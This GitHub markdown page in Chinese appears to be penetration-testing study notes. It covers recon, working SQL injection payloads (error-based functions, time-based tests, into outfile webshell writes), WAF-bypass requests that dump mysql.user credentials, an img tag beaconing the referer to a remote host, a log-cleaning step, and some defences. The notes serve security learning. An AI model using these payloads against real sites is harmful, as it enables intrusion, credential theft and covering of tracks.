Skip to content

Latest commit

 

History

History
131 lines (101 loc) · 7.22 KB

pentest-practice.md

File metadata and controls

131 lines (101 loc) · 7.22 KB

渗透的步骤

信息收集

  1. 获取域名whois信息,获取注册者邮箱姓名电话等。
  2. 查询服务器旁站以及子域名站点,因为主站一般都比较难,所以先看看旁站有没有通用性的cms或者是其他漏洞
  3. 查看服务器操作系统版本,web中间件,看看是否存在已知的漏洞,如IIS,Apache,Nginx的解析漏洞
  4. 查看IP,进行IP地址端口扫描,对响应的端口进行漏洞探测,比如rsync,心脏出血,mysql,ftp,ssh弱口令等。
  5. 扫描网站目录结构,看看是否可以遍历目录或者敏感信息泄漏,比如php探针。
  6. Google Hack,进一步探测网站信息,后台,敏感文件。

漏洞扫描

检测漏洞,如XSS,CSRF,SQL注入,代码执行,命令执行,越权访问,目录读取,任意文集读取,下载,文件包含,远程命令执行,弱口令,上传,编辑器漏洞,暴力破解。

漏洞利用

利用以上的方式拿到webshell获知其他权限。

权限提升

提权服务器,比如Windows下mysql的udf提权,serv-u提权,Windows低版本的漏洞,比如iis6,pr,巴西烤肉,Linux脏牛漏洞,Linux内核地版本漏洞提权,linux下的mysql system提取以及orcale低权限提权

日志清理

总结报告及修复方案

sqlmap,怎么对一个注入点注入?

  1. 如果是GET型,直接使用sqlmap -u http://www.example.com?id=1
  2. 如果是POST型,使用sqlmap -u http://www.example.com --data=id=1
  3. 如果是COOKIE,X-Forwarded-For等,使用burpsuite抓包,注入处用*号替换,放到文件里,然后使用sqlmap -r 文件地址进行注入。

nmap,扫描的几种方式?

sql注入的几种类型?

union注入、bool注入、报错注入、延时注入、多语句执行注入、宽字节注入

报错注入的函数有哪些?

  1. extractvalue,extractvalue(1,concat(0x7e,version(),0x7e))
  2. floor报错
  3. updatexml,updatexml(1,concat(0x7e,version(),0x7e),1)
  4. geometrycollection,geometrycollection()select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
  5. multipoint(),select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
  6. polygon(),select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
  7. multipolygon,select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
  8. linestring(),select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
  9. multilinestring(),select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
  10. exp(),select * from test where id=1 and exp(~(select * from(select user())a));

延时注入如何判断?

if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)

盲注和延时注入的共同点

都是一个字符一个字符的判断

如何那一个网站的webshell?

上传、后台编辑模板、sql注入写入文件、命令执行、代码执行、一些爆出的cms漏洞,比如dedecms后台可以直接建立脚本文件,wordpress上传含脚本插件包、上传含脚本文件zip压缩包等。

sql写入文件都有哪些函数?

select '文件内容' into outfile '文件路径'
select '文件内容' into dumpfile '文件路径'

如何防御CSRF?

  1. 验证referer
  2. 验证token,详细浅谈cnode社区如何防止csrf攻击 - CNode技术社区

owasp top 10

之前的文章上面是2013的,目前已经更新到2017.所以笔者将其改为了2017的内容

  1. 注入
  2. 失效的身份认证和会话管理
  3. 跨站脚本(XSS
  4. 失效的访问控制
  5. 安全配置错误
  6. 敏感信息泄漏
  7. 攻击检测与防护不足
  8. 跨站请求伪造(CSRF)
  9. 使用含有已知漏洞的组件
  10. 未受到充分保护的API

SQL注入防护方法?

  1. 使用安全API
  2. 对输入的特殊字符进行Escape转义处理
  3. 使用白名单来规范化输入验证方法
  4. 对客户端输入进行控制,不允许输入SQL注入相关的特殊字符
  5. 服务器端在提交数据库进行SQL查询之前,对特殊字符进行过滤、转义、替换、删除

img标签除了onerror属性外,还有其他获取管理员路径的办法吗?

src指定一个远程的脚本文件,获取referer

img标签除了onerror属性外,并且src属性的后缀名,必须以.jpg结尾,怎么获取管理员路径?

远程服务器修改apache配置文件,配置.jpg文件以php方式来解析

<img src=http://xss.tv/1.jpg> 

会以PHP的方式解析jpg

代码审计

代码执行、文件读取、命令执行的函数都有哪些?

代码执行

eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function

文件读取

file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()

命令执行

system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()

绕过WAF

  1. 关键字使用%(仅限于IIS系列)。比如select,可以使用sel%e%ct。原理:网络层WAF对sel%e%ct进行URL解码之后变成sel%e%ct,匹配select失败,而进入asp.dllsel%e%ct进行url解码则变为了select。IIS下的asp.dll文件在对asp文件后参数串进行url解码时,会直接过滤09-0d(09是tab键,0d是回车)、20(空格)、%(后两个字符有一个不是十六进制)字符。XSS也是同理。
  2. 通杀的,内联注释,如/*!select*/。安全狗不连接,但是安全宝、加速乐、D盾等会拦截/*!/,所以仅仅限于安全狗。
  3. 编码。这个方法对waf很有效,因为一般waf会解码,但是我们利用这个特点,进行两次编码,它解了第一次但不会解第二次,就bypass了。腾讯WAF、百度WAF等等都可以这样bypass。
  4. 伪造搜索引擎。早些版本的安全狗存在这个问题,将user-agent修改为搜索引擎。
  5. 360webscan脚本存在这个问题,就是判断是否为admin dede install等目录,如果是则不做拦截。那么就可以使用如下的方式绕过:
    GET /pen/news.php?id=1 union select user,password from mysql.user
    GET /pen/news.php/admin?id=1 union select user,password from mysql.user
    GET /pen/admin/..\news.php?id=1 union select user,password from mysql.user
    
  6. multipart请求绕过,在POST请求中添加一个上传文件,就可以绕过绝大多数WAF。
  7. 参数绕过,赋复制参数,id=1&id=1
  8. 用一些特殊字符代替空格,比如在mysql中%0a是换行,可以代替空格,这个方法也可以部分绕过最新版本的安全狗,在sqlserver中可以用/**/代替空格

宽字节注入

原理:

防御:是在初始化连接和字符集之后,使用SET character_set_client=binary来设定客户端的字符集是二进制的。修改Windows下的MySQL配置文件一般是my.ini,Linux下的MySQL配置文件一般是my.cnf,比如:mysql_query("SETcharacter_set_client=binary");。character_set_client指定的是SQL语句的编码,如果设置为 binary,MySQL就以二进制来执行,这样宽字节编码问题就没有用武之地了。